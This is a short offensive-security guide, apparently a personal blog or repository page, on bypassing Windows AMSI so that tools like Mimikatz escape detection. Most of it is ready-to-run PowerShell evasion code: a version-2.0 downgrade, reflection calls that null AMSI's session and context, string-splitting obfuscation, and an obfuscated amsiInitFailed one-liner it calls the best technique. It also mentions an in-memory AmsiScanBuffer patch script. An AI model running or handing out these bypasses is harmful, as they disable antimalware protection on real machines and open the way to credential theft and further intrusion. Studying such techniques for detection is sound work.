To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI
However some methods may be detected by the AV but most of them actually work without problem
The first and worst way to bypass AMSI is downgrading powershell version to 2.0.
Just execute this
powershell -version 2.0
And now if you enter "Invoke-Mimikatz" it won't be flagged as malicious
¿Why is this method bad?
- Because a lot of scripts won't work with this version
Try to assign the AMSI scan function a boolean True value so AMSI initialization fails
Just execute this:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
You can use simple obfuscation like summing strings like this:
"In"+"vo"+"ke"+"-M"+"im"+"ik"+"at"+"z"
And it also won't be detected
Here down you have a script which adds a "patch" in memory and deactivate the AMSI without more problem
This technique hooks the AmsiScanBuffer() function to always return "no malware". Just execute the script and it should work
Here down you have the script
With this:
$a='si';$b='Am';$Ref=[Ref].Assembly.GetType(('System.Management.Automation.{0}{1}Utils'-f $b,$a)); $z=$Ref.GetField(('am{0}InitFailed'-f$a),'NonPublic,Static');$z.SetValue($null,$true)
You can deactivate the AMSI on the go without downloading any extra files (best technique)
https://www.hackingarticles.in/a-detailed-guide-on-amsi-bypass/
https://hackmag.com/security/fck-amsi/
https://sniferl4bs.com/2022/01/hacking-101-comprendiendo-que-es-amsi-y-como-saltar-el-control/
with ❤️ by D3Ext